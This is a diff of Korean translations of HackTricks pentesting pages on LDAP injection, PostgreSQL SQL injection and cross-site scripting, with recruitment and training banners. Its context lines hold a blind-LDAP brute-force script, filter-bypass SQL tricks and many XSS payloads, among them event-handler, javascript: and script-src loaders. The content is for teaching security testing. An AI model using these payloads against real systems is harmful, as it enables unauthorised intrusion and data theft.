<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -27,7 +27,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**LDAP에 대해 알고 싶다면 다음 페이지를 참조하세요:**
|
||||
**LDAP에 대한 정보는 다음 페이지를 참조하세요:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -133,8 +133,8 @@ password=any
|
|||
#### Lists
|
||||
|
||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||
* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||
* [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
* [LDAP 속성](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||
* [LDAP PosixAccount 속성](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
|
||||
### Blind LDAP Injection
|
||||
|
||||
|
@ -167,7 +167,7 @@ ascii 문자, 숫자 및 기호를 반복할 수 있습니다:
|
|||
|
||||
#### **유효한 LDAP 필드 발견**
|
||||
|
||||
LDAP 객체는 **기본적으로 여러 속성을 포함**하고 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
LDAP 객체는 **기본적으로 여러 속성을 포함하고** 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -224,22 +224,22 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 찾고 있습니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우고 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# PostgreSQL injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_).
|
||||
|
||||
|
@ -23,15 +23,15 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
***
|
||||
|
||||
**이 페이지는 PostgreSQL 데이터베이스에서 발견된 SQL 인젝션을 악용하는 데 도움이 될 수 있는 다양한 트릭을 설명하고,** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)**에서 찾을 수 있는 트릭을 보완하는 것을 목표로 합니다.**
|
||||
**이 페이지는 PostgreSQL 데이터베이스에서 발견된 SQL 인젝션을 악용하는 데 도움이 될 수 있는 다양한 트릭을 설명하고,** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **에서 찾을 수 있는 트릭을 보완하는 것을 목표로 합니다.**
|
||||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
**PostgreSQL 모듈 `dblink`**는 다른 PostgreSQL 인스턴스에 연결하고 TCP 연결을 실행할 수 있는 기능을 제공합니다. 이러한 기능은 `COPY FROM` 기능과 결합되어 권한 상승, 포트 스캐닝 및 NTLM 챌린지 응답 캡처와 같은 작업을 가능하게 합니다. 이러한 공격을 실행하는 방법에 대한 자세한 내용은 [이 공격을 수행하는 방법](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)을 확인하세요.
|
||||
|
||||
### **dblink 및 대용량 객체를 사용한 데이터 유출 예제**
|
||||
### **dblink 및 대용량 객체를 사용한 유출 예제**
|
||||
|
||||
[**이 예제를 읽어보세요**](dblink-lo\_import-data-exfiltration.md)**. 대용량 객체 내에 데이터를 로드한 다음 `dblink_connect` 함수의 사용자 이름 내에서 대용량 객체의 내용을 유출하는 CTF 예제를 확인할 수 있습니다.**
|
||||
[**이 예제를 읽어보세요**](dblink-lo\_import-data-exfiltration.md) **대용량 객체 내에 데이터를 로드한 다음 함수 `dblink_connect`의 사용자 이름 내에서 대용량 객체의 내용을 유출하는 CTF 예제를 확인할 수 있습니다.**
|
||||
|
||||
## PostgreSQL Attacks: Read/write, RCE, privesc
|
||||
|
||||
|
@ -46,7 +46,7 @@ PostgreSQL에서 호스트를 손상시키고 권한을 상승시키는 방법
|
|||
### PostgreSQL 문자열 함수
|
||||
|
||||
문자열을 조작하면 **WAF 또는 기타 제한을 우회하는 데 도움이 될 수 있습니다**.\
|
||||
[**이 페이지에서**](https://www.postgresqltutorial.com/postgresql-string-functions/)**유용한 문자열 함수를 찾을 수 있습니다.**
|
||||
[**이 페이지에서**](https://www.postgresqltutorial.com/postgresql-string-functions/) **유용한 문자열 함수를 찾을 수 있습니다.**
|
||||
|
||||
### Stacked Queries
|
||||
|
||||
|
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
|
|||
```
|
||||
### Strings in Hex
|
||||
|
||||
만약 **쿼리**를 **문자열 안에** 전달할 수 있다면 (예를 들어 **`query_to_xml`** 함수를 사용하여). **convert\_from을 사용하여 문자열을 헥사로 전달하고 필터를 우회할 수 있습니다:**
|
||||
만약 **쿼리**를 **문자열 안에** 전달할 수 있다면 (예를 들어 **`query_to_xml`** 함수를 사용하여). **convert\_from을 사용하여 문자열을 헥사로 전달하고 이렇게 필터를 우회할 수 있습니다:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -97,15 +97,15 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -113,7 +113,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
|||
|
||||
## 방법론
|
||||
|
||||
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다.
|
||||
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되고 있는지 확인합니다.
|
||||
2. **반영/사용되는 맥락**을 찾습니다.
|
||||
3. **반영된 경우**
|
||||
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
|
||||
|
@ -18,12 +18,12 @@
|
|||
3. 보호를 우회할 수 있습니까?
|
||||
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
|
||||
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
|
||||
2. **HTML 태그** 내부에서:
|
||||
2. **HTML 태그 내부**에서:
|
||||
1. 원시 HTML 맥락으로 나갈 수 있습니까?
|
||||
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
|
||||
3. 당신이 갇힌 속성이 JS 실행을 지원합니까?
|
||||
4. 보호를 우회할 수 있습니까?
|
||||
3. **JavaScript 코드** 내부에서:
|
||||
3. **JavaScript 코드 내부**에서:
|
||||
1. `<script>` 태그를 이스케이프할 수 있습니까?
|
||||
2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
|
||||
3. 템플릿 리터럴 \`\`에 입력이 있습니까?
|
||||
|
@ -53,17 +53,17 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
|
|||
|
||||
### 원시 HTML
|
||||
|
||||
당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
|
||||
또한, [클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)을 염두에 두십시오.
|
||||
당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이는 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
|
||||
또한 [클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)을 염두에 두십시오.
|
||||
|
||||
### HTML 태그 속성 내부
|
||||
|
||||
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
|
||||
|
||||
1. **속성과 태그에서 이스케이프** (그럼 원시 HTML에 있게 되며) 새로운 HTML 태그를 생성하여 악용합니다: `"><img [...]`
|
||||
1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
|
||||
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **이벤트를 생성**하여 JS 코드를 실행할 수 있습니다: `" autofocus onfocus=alert(1) x="`
|
||||
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
|
||||
```html
|
||||
|
@ -76,7 +76,7 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
|
|||
이 경우 귀하의 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 사이에 반영됩니다:
|
||||
|
||||
* **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 귀하의 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
|
||||
* **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
|
||||
* **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -138,7 +138,7 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이들은 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일**을 **읽는** 데에도 악용될 수 있습니다.\
|
||||
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이들은 웹 애플리케이션의 클라이언트 악용에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일**을 읽는 데 악용될 수 있습니다.\
|
||||
일부 **예시**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,7 +155,7 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd
|
|||
|
||||
## 원시 HTML 내에서 주입하기
|
||||
|
||||
입력이 **HTML 페이지 내에서** 반영되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있는 경우, **첫 번째**로 해야 할 일은 `<`를 사용하여 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **문자**를 **반영**해보고 **HTML 인코딩**되었는지, **삭제**되었는지, 또는 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
|
||||
입력이 **HTML 페이지 내에서** 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있는 경우, **첫 번째**로 해야 할 일은 `<`를 사용하여 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **문자**를 **반영**해보고 **HTML 인코딩**되었는지, **삭제**되었는지, 또는 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
|
||||
이 경우에도 **[Client Side Template Injection](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
|
||||
_**참고: HTML 주석은\*\*\*\***** ****`-->`**** ****또는 \*\*\*\*****`--!>`**로 닫을 수 있습니다._
|
||||
|
||||
|
@ -233,7 +233,7 @@ onerror=alert`1`
|
|||
### 길이 우회 (작은 XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me).
|
||||
**다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -242,23 +242,23 @@ onerror=alert`1`
|
|||
<script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [여기](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [여기](https://www.compart.com/en/unicode/U+2121).
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
If in order to exploit the vulnerability you need the **사용자가 링크나 양식**을 클릭하도록 해야 한다면 [**Clickjacking을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우).
|
||||
취약점을 악용하기 위해 **사용자가 미리 채워진 데이터가 있는 링크나 양식을 클릭해야 하는 경우**, [**Clickjacking을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
If you just think that **JS 코드를 실행하는 속성을 가진 HTML 태그를 만드는 것은 불가능하다**고 생각한다면 [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)을 확인해 보세요. 왜냐하면 **JS** 코드를 실행하지 않고도 **취약점을 악용**할 수 있기 때문입니다.
|
||||
**JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)을 확인해야 합니다. 왜냐하면 **JS** 코드를 실행하지 않고도 취약점을 **악용**할 수 있기 때문입니다.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
If you are in **HTML 태그 내부에 있다면**, 시도해 볼 수 있는 첫 번째 방법은 **태그에서 이스케이프**하여 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
|
||||
If you **태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 생성하여 JS 코드를 실행해 보세요. 예를 들어, (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
|
||||
**HTML 태그 내부에** 있다면, 시도할 수 있는 첫 번째 방법은 태그에서 **탈출**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
|
||||
태그에서 **탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어, (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,12 +275,12 @@ If you **태그에서 이스케이프할 수 없다면**, 태그 내부에 새
|
|||
```
|
||||
### Within the attribute
|
||||
|
||||
속성에서 **탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있다면** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다.\
|
||||
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
|
||||
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
|
||||
|
||||
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다 (페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
|
||||
```javascript
|
||||
|
@ -359,7 +359,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
또한 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
|
||||
또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -394,7 +394,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
|
|||
### 이벤트 핸들러 우회
|
||||
|
||||
